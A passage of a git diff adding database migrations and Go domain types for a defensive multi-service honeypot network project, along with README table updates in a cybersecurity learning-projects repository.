7: Multi-Sensor Deployment +- [ ] Advanced 8: SIEM Integration Pipeline +- [ ] Expert 9: ML-Based Anomaly Detection +- [ ] Expert 10: Attacker Playbook Reconstruction diff --git a/PROJECTS/advanced/honeypot-network/migrations/001_extensions.sql b/PROJECTS/advanced/honeypot-network/migrations/001_extensions.sql new file mode 100644 index 00000000..fc7688a8 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/migrations/001_extensions.sql @@ -0,0 +1,10 @@ +-- ©AngelaMos | 2026 +-- 001_extensions.sql + +-- +goose Up +CREATE EXTENSION IF NOT EXISTS "uuid-ossp"; +CREATE EXTENSION IF NOT EXISTS "pg_trgm"; + +-- +goose Down +DROP EXTENSION IF EXISTS "pg_trgm"; +DROP EXTENSION IF EXISTS "uuid-ossp"; diff --git a/PROJECTS/advanced/honeypot-network/migrations/002_enums.sql b/PROJECTS/advanced/honeypot-network/migrations/002_enums.sql new file mode 100644 index 00000000..be147cdd --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/migrations/002_enums.sql @@ -0,0 +1,34 @@ +-- ©AngelaMos | 2026 +-- 002_enums.sql + +-- +goose Up +CREATE TYPE service_type AS ENUM ( + 'ssh', 'http', 'ftp', 'smb', 'mysql', 'redis' +); + +CREATE TYPE event_type AS ENUM ( + 'connect', + 'disconnect', + 'login.success', + 'login.failed', + 'command.input', + 'command.output', + 'file.upload', + 'file.download', + 'request', + 'exploit.attempt', + 'scan.detected' +); + +CREATE TYPE protocol_type AS ENUM ('tcp', 'udp'); + +CREATE TYPE ioc_type AS ENUM ( + 'ipv4', 'ipv6', 'domain', 'url', + 'sha256', 'md5', 'ssh-key', 'user-agent', 'email' +); + +-- +goose Down +DROP TYPE IF EXISTS ioc_type; +DROP TYPE IF EXISTS protocol_type; +DROP TYPE IF EXISTS event_type; +DROP TYPE IF EXISTS service_type; diff --git a/PROJECTS/advanced/honeypot-network/migrations/003_sensors.sql b/PROJECTS/advanced/honeypot-network/migrations/003_sensors.sql new file mode 100644 index 00000000..ea4e278a --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/migrations/003_sensors.sql @@ -0,0 +1,16 @@ +-- ©AngelaMos | 2026 +-- 003_sensors.sql + +-- +goose Up +CREATE TABLE sensors ( + id TEXT PRIMARY KEY, + hostname TEXT NOT NULL, + region TEXT NOT NULL DEFAULT 'local', + public_ip TEXT, + services TEXT[] NOT NULL DEFAULT '{}', + started_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + status TEXT NOT NULL DEFAULT 'active' +); + +-- +goose Down +DROP TABLE IF EXISTS sensors; diff --git a/PROJECTS/advanced/honeypot-network/migrations/004_attackers.sql b/PROJECTS/advanced/honeypot-network/migrations/004_attackers.sql new file mode 100644 index 00000000..6b3da872 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/migrations/004_attackers.sql @@ -0,0 +1,29 @@ +-- ©AngelaMos | 2026 +-- 004_attackers.sql + +-- +goose Up +CREATE TABLE attackers ( + id BIGSERIAL PRIMARY KEY, + ip TEXT NOT NULL UNIQUE, + first_seen TIMESTAMPTZ NOT NULL DEFAULT NOW(), + last_seen TIMESTAMPTZ NOT NULL DEFAULT NOW(), + total_events BIGINT NOT NULL DEFAULT 0, + total_sessions INTEGER NOT NULL DEFAULT 0, + country_code TEXT, + country TEXT, + city TEXT, + latitude DOUBLE PRECISION, + longitude DOUBLE PRECISION, + asn INTEGER, + org TEXT, + threat_score INTEGER NOT NULL DEFAULT 0, + tool_family TEXT, + tags TEXT[] NOT NULL DEFAULT '{}' +); + +CREATE INDEX idx_attackers_last_seen ON attackers (last_seen DESC); +CREATE INDEX idx_attackers_threat_score ON attackers (threat_score DESC); +CREATE INDEX idx_attackers_country ON attackers (country_code); + +-- +goose Down +DROP TABLE IF EXISTS attackers; diff --git a/PROJECTS/advanced/honeypot-network/migrations/005_sessions.sql b/PROJECTS/advanced/honeypot-network/migrations/005_sessions.sql new file mode 100644 index 00000000..c6d24fa7 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/migrations/005_sessions.sql @@ -0,0 +1,29 @@ +-- ©AngelaMos | 2026 +-- 005_sessions.sql + +-- +goose Up +CREATE TABLE sessions ( + id TEXT NOT NULL, + sensor_id TEXT NOT NULL REFERENCES sensors(id), + started_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + ended_at TIMESTAMPTZ, + service_type service_type NOT NULL, + source_ip TEXT NOT NULL, + source_port INTEGER NOT NULL, + dest_port INTEGER NOT NULL, + client_version TEXT, + login_success BOOLEAN NOT NULL DEFAULT FALSE, + username TEXT, + command_count INTEGER NOT NULL DEFAULT 0, + mitre_techniques TEXT[] NOT NULL DEFAULT '{}', + threat_score INTEGER NOT NULL DEFAULT 0, + tags TEXT[] NOT NULL DEFAULT '{}', + PRIMARY KEY (id, started_at) +) PARTITION BY RANGE (started_at); + +CREATE INDEX idx_sessions_source_ip ON sessions (source_ip); +CREATE INDEX idx_sessions_service ON sessions (service_type); +CREATE INDEX idx_sessions_started ON sessions (started_at DESC); + +-- +goose Down +DROP TABLE IF EXISTS sessions; diff --git a/PROJECTS/advanced/honeypot-network/migrations/006_events.sql b/PROJECTS/advanced/honeypot-network/migrations/006_events.sql new file mode 100644 index 00000000..72d2a494 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/migrations/006_events.sql @@ -0,0 +1,37 @@ +-- ©AngelaMos | 2026 +-- 006_events.sql + +-- +goose Up +CREATE TABLE events ( + id TEXT NOT NULL, + session_id TEXT NOT NULL, + sensor_id TEXT NOT NULL, + timestamp TIMESTAMPTZ NOT NULL DEFAULT NOW(), + received_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + service_type service_type NOT NULL, + event_type event_type NOT NULL, + source_ip TEXT NOT NULL, + source_port INTEGER NOT NULL, + dest_port INTEGER NOT NULL, + protocol protocol_type NOT NULL DEFAULT 'tcp', + schema_version INTEGER NOT NULL DEFAULT 1, + country_code TEXT, + country TEXT, + city TEXT, + latitude DOUBLE PRECISION, + longitude DOUBLE PRECISION, + asn INTEGER, + org TEXT, + tags TEXT[] NOT NULL DEFAULT '{}', + service_data JSONB, + PRIMARY KEY (id, timestamp) +) PARTITION BY RANGE (timestamp); + +CREATE INDEX idx_events_session ON events (session_id); +CREATE INDEX idx_events_source_ip ON events (source_ip); +CREATE INDEX idx_events_service ON events (service_type); +CREATE INDEX idx_events_type ON events (event_type); +CREATE INDEX idx_events_timestamp ON events (timestamp DESC); + +-- +goose Down +DROP TABLE IF EXISTS events; diff --git a/PROJECTS/advanced/honeypot-network/migrations/007_credentials.sql b/PROJECTS/advanced/honeypot-network/migrations/007_credentials.sql new file mode 100644 index 00000000..24e97429 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/migrations/007_credentials.sql @@ -0,0 +1,25 @@ +-- ©AngelaMos | 2026 +-- 007_credentials.sql + +-- +goose Up +CREATE TABLE credentials ( + id BIGSERIAL, + session_id TEXT NOT NULL, + timestamp TIMESTAMPTZ NOT NULL DEFAULT NOW(), + service_type service_type NOT NULL, + source_ip TEXT NOT NULL, + username TEXT NOT NULL, + password TEXT NOT NULL DEFAULT '', + public_key TEXT, + auth_method TEXT NOT NULL DEFAULT 'password', + success BOOLEAN NOT NULL DEFAULT FALSE, + PRIMARY KEY (id, timestamp) +) PARTITION BY RANGE (timestamp); + +CREATE INDEX idx_creds_source_ip ON credentials (source_ip); +CREATE INDEX idx_creds_username ON credentials (username); +CREATE INDEX idx_creds_session ON credentials (session_id); +CREATE INDEX idx_creds_timestamp ON credentials (timestamp DESC); + +-- +goose Down +DROP TABLE IF EXISTS credentials; diff --git a/PROJECTS/advanced/honeypot-network/migrations/008_files.sql b/PROJECTS/advanced/honeypot-network/migrations/008_files.sql new file mode 100644 index 00000000..a3e147a2 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/migrations/008_files.sql @@ -0,0 +1,24 @@ +-- ©AngelaMos | 2026 +-- 008_files.sql + +-- +goose Up +CREATE TABLE captured_files ( + id BIGSERIAL PRIMARY KEY, + session_id TEXT NOT NULL, + timestamp TIMESTAMPTZ NOT NULL DEFAULT NOW(), + source_ip TEXT NOT NULL, + service service_type NOT NULL, + filename TEXT NOT NULL, + size BIGINT NOT NULL DEFAULT 0, + sha256 TEXT NOT NULL, + md5 TEXT NOT NULL, + mime_type TEXT, + content BYTEA +); + +CREATE INDEX idx_files_sha256 ON captured_files (sha256); +CREATE INDEX idx_files_session ON captured_files (session_id); +CREATE INDEX idx_files_timestamp ON captured_files (timestamp DESC); + +-- +goose Down +DROP TABLE IF EXISTS captured_files; diff --git a/PROJECTS/advanced/honeypot-network/migrations/009_iocs.sql b/PROJECTS/advanced/honeypot-network/migrations/009_iocs.sql new file mode 100644 index 00000000..6499bf50 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/migrations/009_iocs.sql @@ -0,0 +1,23 @@ +-- ©AngelaMos | 2026 +-- 009_iocs.sql + +-- +goose Up +CREATE TABLE iocs ( + id BIGSERIAL PRIMARY KEY, + type ioc_type NOT NULL, + value TEXT NOT NULL, + first_seen TIMESTAMPTZ NOT NULL DEFAULT NOW(), + last_seen TIMESTAMPTZ NOT NULL DEFAULT NOW(), + sight_count INTEGER NOT NULL DEFAULT 1, + confidence INTEGER NOT NULL DEFAULT 50, + source TEXT NOT NULL DEFAULT 'honeypot', + tags TEXT[] NOT NULL DEFAULT '{}', + UNIQUE (type, value) +); + +CREATE INDEX idx_iocs_type ON iocs (type); +CREATE INDEX idx_iocs_last_seen ON iocs (last_seen DESC); +CREATE INDEX idx_iocs_confidence ON iocs (confidence DESC); + +-- +goose Down +DROP TABLE IF EXISTS iocs; diff --git a/PROJECTS/advanced/honeypot-network/migrations/010_mitre.sql b/PROJECTS/advanced/honeypot-network/migrations/010_mitre.sql new file mode 100644 index 00000000..37ffd62d --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/migrations/010_mitre.sql @@ -0,0 +1,23 @@ +-- ©AngelaMos | 2026 +-- 010_mitre.sql + +-- +goose Up +CREATE TABLE mitre_detections ( + id BIGSERIAL PRIMARY KEY, + session_id TEXT NOT NULL, + technique_id TEXT NOT NULL, + tactic TEXT NOT NULL, + confidence INTEGER NOT NULL DEFAULT 50, + source_ip TEXT NOT NULL, + service_type service_type NOT NULL, + evidence TEXT, + detected_at TIMESTAMPTZ NOT NULL DEFAULT NOW() +); + +CREATE INDEX idx_mitre_technique ON mitre_detections (technique_id); +CREATE INDEX idx_mitre_tactic ON mitre_detections (tactic); +CREATE INDEX idx_mitre_session ON mitre_detections (session_id); +CREATE INDEX idx_mitre_detected ON mitre_detections (detected_at DESC); + +-- +goose Down +DROP TABLE IF EXISTS mitre_detections; diff --git a/PROJECTS/advanced/honeypot-network/migrations/011_indexes.sql b/PROJECTS/advanced/honeypot-network/migrations/011_indexes.sql new file mode 100644 index 00000000..b9492791 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/migrations/011_indexes.sql @@ -0,0 +1,18 @@ +-- ©AngelaMos | 2026 +-- 011_indexes.sql + +-- +goose Up +CREATE INDEX idx_events_service_data ON events USING GIN (service_data); +CREATE INDEX idx_events_tags ON events USING GIN (tags); +CREATE INDEX idx_sessions_mitre ON sessions USING GIN (mitre_techniques); +CREATE INDEX idx_sessions_tags ON sessions USING GIN (tags); +CREATE INDEX idx_attackers_tags ON attackers USING GIN (tags); +CREATE INDEX idx_iocs_tags ON iocs USING GIN (tags); + +-- +goose Down +DROP INDEX IF EXISTS idx_iocs_tags; +DROP INDEX IF EXISTS idx_attackers_tags; +DROP INDEX IF EXISTS idx_sessions_tags; +DROP INDEX IF EXISTS idx_sessions_mitre; +DROP INDEX IF EXISTS idx_events_tags; +DROP INDEX IF EXISTS idx_events_service_data; diff --git a/PROJECTS/advanced/honeypot-network/pkg/types/types.go b/PROJECTS/advanced/honeypot-network/pkg/types/types.go new file mode 100644 index 00000000..9a74ec1c --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/pkg/types/types.go @@ -0,0 +1,315 @@ +/* +©AngelaMos | 2026 +types.go + +Shared domain types for the hive honeypot network + +Defines the core data structures that flow through every subsystem: +service enums, the unified event envelope, session and attacker +models, credential and IOC records, and the Service interface that +all honeypot protocols implement. Zero imports from internal packages. +*/ + +package types + +import ( + "context" + "encoding/json" + "net" + "time" +) + +const Version = "0.1.0" + +type ServiceType int + +const ( + ServiceSSH ServiceType = iota + ServiceHTTP + ServiceFTP + ServiceSMB + ServiceMySQL + ServiceRedis +) + +var serviceNames = map[ServiceType]string{ + ServiceSSH: "ssh", + ServiceHTTP: "http", + ServiceFTP: "ftp", + ServiceSMB: "smb", + ServiceMySQL: "mysql", + ServiceRedis: "redis", +} + +var serviceLabels = map[ServiceType]string{ + ServiceSSH: "SSH", + ServiceHTTP: "HTTP", + ServiceFTP: "FTP", + ServiceSMB: "SMB", + ServiceMySQL: "MySQL", + ServiceRedis: "Redis", +} + +func (s ServiceType) String() string { + return serviceNames[s] +} + +func (s ServiceType) Label() string { + return serviceLabels[s] +} + +func (s ServiceType) MarshalJSON() ([]byte, error) { + return json.Marshal(s.String()) +} + +func ParseServiceType(s string) (ServiceType, bool) { + for st, name := range serviceNames { + if name == s { + return st, true + } + } + return ServiceSSH, false +} + +type EventType int + +const ( + EventConnect EventType = iota + EventDisconnect + EventLoginSuccess + EventLoginFailed + EventCommand + EventCommandOutput + EventFileUpload + EventFileDownload + EventRequest + EventExploit + EventScan +) + +var eventNames = map[EventType]string{ + EventConnect: "connect", + EventDisconnect: "disconnect", + EventLoginSuccess: "login.success", + EventLoginFailed: "login.failed", + EventCommand: "command.input", + EventCommandOutput: "command.output", + EventFileUpload: "file.upload", + EventFileDownload: "file.download", + EventRequest: "request", + EventExploit: "exploit.attempt", + EventScan: "scan.detected", +} + +func (e EventType) String() string { + return eventNames[e] +} + +func (e EventType) MarshalJSON() ([]byte, error) { + return json.Marshal(e.String()) +} + +func ParseEventType(s string) (EventType, bool) { + for et, name := range eventNames { + if name == s { + return et, true + } + } + return EventConnect, false +} + +type Protocol int + +const ( + ProtocolTCP Protocol = iota + ProtocolUDP +) + +var protocolNames = map[Protocol]string{ + ProtocolTCP: "tcp", + ProtocolUDP: "udp", +} + +func (p Protocol) String() string { + return protocolNames[p] +} + +func (p Protocol) MarshalJSON() ([]byte, error) { + return json.Marshal(p.String()) +} + +type GeoInfo struct { + CountryCode string `json:"country_code"` + Country string `json:"country"` + City string `json:"city"` + Latitude float64 `json:"latitude"` + Longitude float64 `json:"longitude"` + ASN int `json:"asn"` + Org string `json:"org"` +} + +type Event struct { + ID string `json:"id"` + SessionID string `json:"session_id"` + SensorID string `json:"sensor_id"` + Timestamp time.Time `json:"timestamp"` + ReceivedAt time.Time `json:"received_at"` + ServiceType ServiceType `json:"service_type"` + EventType EventType `json:"event_type"` + SourceIP string `json:"source_ip"` + SourcePort int `json:"source_port"` + DestPort int `json:"dest_port"` + Protocol Protocol `json:"protocol"` + SchemaVersion int `json:"schema_version"` + Geo *GeoInfo `json:"geo,omitempty"` + Tags []string `json:"tags,omitempty"` + ServiceData json.RawMessage `json:"service_data,omitempty"` +} + +type Session struct { + ID string `json:"id"` + SensorID string `json:"sensor_id"` + StartedAt time.Time `json:"started_at"` + EndedAt *time.Time `json:"ended_at,omitempty"` + ServiceType ServiceType `json:"service_type"` + SourceIP string `json:"source_ip"` + SourcePort int `json:"source_port"` + DestPort int `json:"dest_port"` + ClientVersion string `json:"client_version,omitempty"` + LoginSuccess bool `json:"login_success"` + Username string `json:"username,omitempty"` + CommandCount int `json:"command_count"` + MITRETechniques []string `json:"mitre_techniques,omitempty"` + ThreatScore int `json:"threat_score"` + Tags []string `json:"tags,omitempty"` +} + +type Attacker struct { + ID int64 `json:"id"` + IP string `json:"ip"` + FirstSeen time.Time `json:"first_seen"` + LastSeen time.Time `json:"last_seen"` + TotalEvents int64 `json:"total_events"` + TotalSessions int `json:"total_sessions"` + Geo GeoInfo `json:"geo"` + ThreatScore int `json:"threat_score"` + ToolFamily string `json:"tool_family,omitempty"` + Tags []string `json:"tags,omitempty"` +} + +type Credential struct { + ID int64 `json:"id"` + SessionID string `json:"session_id"` + Timestamp time.Time `json:"timestamp"` + ServiceType ServiceType `json:"service_type"` + SourceIP string `json:"source_ip"` + Username string `json:"username"` + Password string `json:"password"` + PublicKey string `json:"public_key,omitempty"` + AuthMethod string `json:"auth_method"` + Success bool `json:"success"` +} + +type CapturedFile struct { + ID int64 `json:"id"` + SessionID string `json:"session_id"` + Timestamp time.Time `json:"timestamp"` + SourceIP string `json:"source_ip"` + Service ServiceType `json:"service"` + Filename string `json:"filename"` + Size int64 `json:"size"` + SHA256 string `json:"sha256"` + MD5 string `json:"md5"` + MimeType string `json:"mime_type"` + Content []byte `json:"-"` +} + +type IOCType int + +const ( + IOCIPv4 IOCType = iota + IOCIPv6 + IOCDomain + IOCURL + IOCHashSHA256 + IOCHashMD5 + IOCSSHKey + IOCUserAgent + IOCEmail +) + +var iocTypeNames = map[IOCType]string{ + IOCIPv4: "ipv4", + IOCIPv6: "ipv6", + IOCDomain: "domain", + IOCURL: "url", + IOCHashSHA256: "sha256", + IOCHashMD5: "md5", + IOCSSHKey: "ssh-key", + IOCUserAgent: "user-agent", + IOCEmail: "email", +} + +func (t IOCType) String() string { + return iocTypeNames[t] +} + +func (t IOCType) MarshalJSON() ([]byte, error) { + return json.Marshal(t.String()) +} + +func ParseIOCType(s string) (IOCType, bool) { + for t, name := range iocTypeNames { + if name == s { + return t, true + } + } + return IOCIPv4, false +} + +type IOC struct { + ID int64 `json:"id"` + Type IOCType `json:"type"` + Value string `json:"value"` + FirstSeen time.Time `json:"first_seen"` + LastSeen time.Time `json:"last_seen"` + SightCount int `json:"sight_count"` + Confidence int `json:"confidence"` + Source string `json:"source"` + Tags []string `json:"tags,omitempty"` +} + +type MITREDetection struct { + ID int64 `json:"id"` + SessionID string `json:"session_id"` + TechniqueID string `json:"technique_id"` + Tactic string `json:"tactic"` + Confidence int `json:"confidence"` + SourceIP string `json:"source_ip"` + ServiceType ServiceType `json:"service_type"` + Evidence string `json:"evidence"` + DetectedAt time.Time `json:"detected_at"` +} + +type Sensor struct { + ID string `json:"id"` + Hostname string `json:"hostname"` + Region string `json:"region"` + PublicIP string `json:"public_ip"` + Services []string `json:"services"` + StartedAt time.Time `json:"started_at"` + Status string `json:"status"` +} + +type Service interface { + Name() string + Start(ctx context.Context) error +} + +func RemoteAddr(conn net.Conn) (string, int) { + addr, ok := conn.RemoteAddr().(*net.TCPAddr) + if !ok { + return "", 0 + } + return addr.IP.String(), addr.Port +} diff --git a/PROJECTS/advanced/honeypot-network/testdata/.gitkeep b/PROJECTS/advanced/honeypot-network/testdata/.gitkeep new file mode 100644 index 00000000..e69de29b diff --git a/README.md b/README.md index 8f66ed3e..88727fae 100644 --- a/README.md +++ b/README.md @@ -29,7 +29,7 @@
-

Currently building: project #26

+

Currently building: Credential Rotation Enforcer

--- @@ -68,9 +68,9 @@ Tools, courses, certifications, communities, and frameworks for cybersecurity pr | **[SSH Brute Force Detector](./SYNOPSES/beginner/SSH.Brute.Force.Detector.md)**
Monitor and block SSH attacks | ![2-4h](https://img.shields.io/badge/⏱️_2--4h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Log parsing • Attack detection • Firewall automation
[Learn More](./SYNOPSES/beginner/SSH.Brute.Force.Detector.md) | | **[Simple C2 Beacon](./PROJECTS/beginner/c2-beacon)**
Command and Control beacon/server | ![3-5h](https://img.shields.io/badge/⏱️_10--12h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![React](https://img.shields.io/badge/React-61DAFB?logo=react&logoColor=black) ![Docker](https://img.shields.io/badge/Docker-2496ED?logo=docker&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | C2 architecture • MITRE ATT&CK • WebSocket protocol • XOR encoding
[Source Code](./PROJECTS/beginner/c2-beacon) \| [Docs](./PROJECTS/beginner/c2-beacon/learn) | | **[Base64 Encoder/Decoder](./SYNOPSES/beginner/Base64.Encoder.Decoder.md)**
Multi-format encoding tool | ![1h](https://img.shields.io/badge/⏱️_2h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Base64/32 encoding • URL encoding • Auto-detection
[Source Code](./PROJECTS/beginner/base64-tool) \| [Docs](./PROJECTS/beginner/base64-tool/learn) | -| **[Linux CIS Hardening Auditor](./SYNOPSES/beginner/Linux.CIS.Hardening.Auditor.md)**
CIS benchmark compliance checker | ![3-4h](https://img.shields.io/badge/⏱️_6--8h-blue) ![Bash](https://img.shields.io/badge/Bash-4EAA25?logo=gnubash&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | CIS benchmarks • System hardening • Compliance scoring • Shell scripting
[Learn More](./SYNOPSES/beginner/Linux.CIS.Hardening.Auditor.md) | +| **[Linux CIS Hardening Auditor](./PROJECTS/beginner/linux-cis-hardening-auditor)**
CIS benchmark compliance checker | ![3-4h](https://img.shields.io/badge/⏱️_6--8h-blue) ![Bash](https://img.shields.io/badge/Bash-4EAA25?logo=gnubash&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | CIS benchmarks • System hardening • Compliance scoring • Shell scripting
[Source Code](./PROJECTS/beginner/linux-cis-hardening-auditor) \| [Docs](./PROJECTS/beginner/linux-cis-hardening-auditor/learn) | | **[Systemd Persistence Scanner](./PROJECTS/beginner/systemd-persistence-scanner)**
Hunt Linux persistence mechanisms | ![2-3h](https://img.shields.io/badge/⏱️_6--8h-blue) ![Go](https://img.shields.io/badge/Go-00ADD8?logo=go&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Persistence techniques • Systemd internals • Cron analysis • Threat hunting
[Source Code](./PROJECTS/beginner/systemd-persistence-scanner) \| [Docs](./PROJECTS/beginner/systemd-persistence-scanner/learn) | -| **[Linux eBPF Security Tracer](./SYNOPSES/beginner/Linux.eBPF.Security.Tracer.md)**
Real-time syscall tracing with eBPF | ![2-3h](https://img.shields.io/badge/⏱️_10--12h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![C](https://img.shields.io/badge/C-A8B9CC?logo=c&logoColor=black) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | eBPF programs • Syscall tracing • BCC framework • Security observability
[Learn More](./SYNOPSES/beginner/Linux.eBPF.Security.Tracer.md) | +| **[Linux eBPF Security Tracer](./PROJECTS/beginner/linux-ebpf-security-tracer)**
Real-time syscall tracing with eBPF | ![2-3h](https://img.shields.io/badge/⏱️_10--12h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![C](https://img.shields.io/badge/C-A8B9CC?logo=c&logoColor=black) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | eBPF programs • Syscall tracing • BCC framework • Security observability
[Source Code](./PROJECTS/beginner/linux-ebpf-security-tracer) \| [Docs](./PROJECTS/beginner/linux-ebpf-security-tracer/learn) | | **[Trojan Application Builder](./SYNOPSES/beginner/Trojan.Application.Builder.md)**
Educational malware lifecycle demo | ![2-3h](https://img.shields.io/badge/⏱️_8--10h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Trojan anatomy • Data exfiltration • File encryption • Attack lifecycle
[Learn More](./SYNOPSES/beginner/Trojan.Application.Builder.md) | | **[DNS Sinkhole](./SYNOPSES/beginner/DNS.Sinkhole.md)**
Pi-hole-style malware domain blocker | ![3-4h](https://img.shields.io/badge/⏱️_10--12h-blue) ![Go](https://img.shields.io/badge/Go-00ADD8?logo=go&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | DNS protocol • Blocklist management • Query logging • Network defense
[Learn More](./SYNOPSES/beginner/DNS.Sinkhole.md) | | **[Firewall Rule Engine](./PROJECTS/beginner/firewall-rule-engine)**
Parse and validate iptables/nftables rules | ![2-3h](https://img.shields.io/badge/⏱️_6--8h-blue) ![V](https://img.shields.io/badge/V-5D87BF?logo=v&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Firewall internals • Rule parsing • iptables/nftables • V language
[Source Code](./PROJECTS/beginner/firewall-rule-engine) \| [Docs](./PROJECTS/beginner/firewall-rule-engine/learn) | @@ -127,7 +127,7 @@ Tools, courses, certifications, communities, and frameworks for cybersecurity pr | **[Automated Penetration Testing](./SYNOPSES/advanced/Automated.Penetration.Testing.md)**
Full pentest automation | ![3-4w](https://img.shields.io/badge/⏱️_3--4w-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![Advanced](https://img.shields.io/badge/●_Advanced-red) | Pentest automation • Recon to exploitation • Report generation
[Learn More](./SYNOPSES/advanced/Automated.Penetration.Testing.md) | | **[Haskell Reverse Proxy](./PROJECTS/advanced/haskell-reverse-proxy)**
Functional reverse proxy with security middleware | ![2-3w](https://img.shields.io/badge/⏱️_2--3w-blue) ![Haskell](https://img.shields.io/badge/Haskell-5D4F85?logo=haskell&logoColor=white) ![Advanced](https://img.shields.io/badge/●_Advanced-red) | Functional programming • Reverse proxy design • Security middleware • Haskell
[Source Code](./PROJECTS/advanced/haskell-reverse-proxy) | | **["Monitor the Situation" Dashboard](./SYNOPSES/advanced/Monitor.The.Situation.Dashboard.md)**
Real-time cyber threat situational awareness | ![3-4w](https://img.shields.io/badge/⏱️_3--4w-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![React](https://img.shields.io/badge/React-61DAFB?logo=react&logoColor=black) ![Advanced](https://img.shields.io/badge/●_Advanced-red) | Threat intelligence • CVE tracking • MITRE ATT&CK • OSINT • Real-time dashboards
[Learn More](./SYNOPSES/advanced/Monitor.The.Situation.Dashboard.md) | -| **[Honeypot Network](./SYNOPSES/advanced/Honeypot.Network.md)**
Multi-service honeypot deployment & analysis | ![2-3w](https://img.shields.io/badge/⏱️_2--3w-blue) ![Go](https://img.shields.io/badge/Go-00ADD8?logo=go&logoColor=white) ![Advanced](https://img.shields.io/badge/●_Advanced-red) | Honeypot deployment • Attacker behavior analysis • IOC extraction • MITRE mapping
[Learn More](./SYNOPSES/advanced/Honeypot.Network.md) | +| **[Honeypot Network](./PROJECTS/advanced/honeypot-network)**
Multi-service honeypot deployment & analysis | ![2-3w](https://img.shields.io/badge/⏱️_2--3w-blue) ![Go](https://img.shields.io/badge/Go-00ADD8?logo=go&logoColor=white) ![React](https://img.shields.io/badge/React-61DAFB?logo=react&logoColor=black) ![Docker](https://img.shields.io/badge/Docker-2496ED?logo=docker&logoColor=white) ![Advanced](https://img.shields.io/badge/●_Advanced-red) | Honeypot deployment • Attacker behavior analysis • IOC extraction • MITRE mapping
[Source Code](./PROJECTS/advanced/honeypot-network) \| [Docs](./PROJECTS/advanced/honeypot-network/learn) | | **[Supply Chain Security Analyzer](./SYNOPSES/advanced/Supply.Chain.Security.Analyzer.md)**
Dependency vulnerability analysis | ![2-3w](https://img.shields.io/badge/⏱️_2--3w-blue) ![Go](https://img.shields.io/badge/Go-00ADD8?logo=go&logoColor=white) ![Advanced](https://img.shields.io/badge/●_Advanced-red) | Supply chain security • Dependency analysis • Malicious packages
[Learn More](./SYNOPSES/advanced/Supply.Chain.Security.Analyzer.md) | --- diff --git a/TEMPLATES/fullstack-template b/TEMPLATES/fullstack-template index daa74d16..ecbb534e 160000 --- a/TEMPLATES/fullstack-template +++ b/TEMPLATES/fullstack-template @@ -1 +1 @@ -Subproject commit daa74d165fa60faaa41aac493f2ba1a3400a88c4 +Subproject commit ecbb534e85e8e381e6e89aece4b786db8f7ad172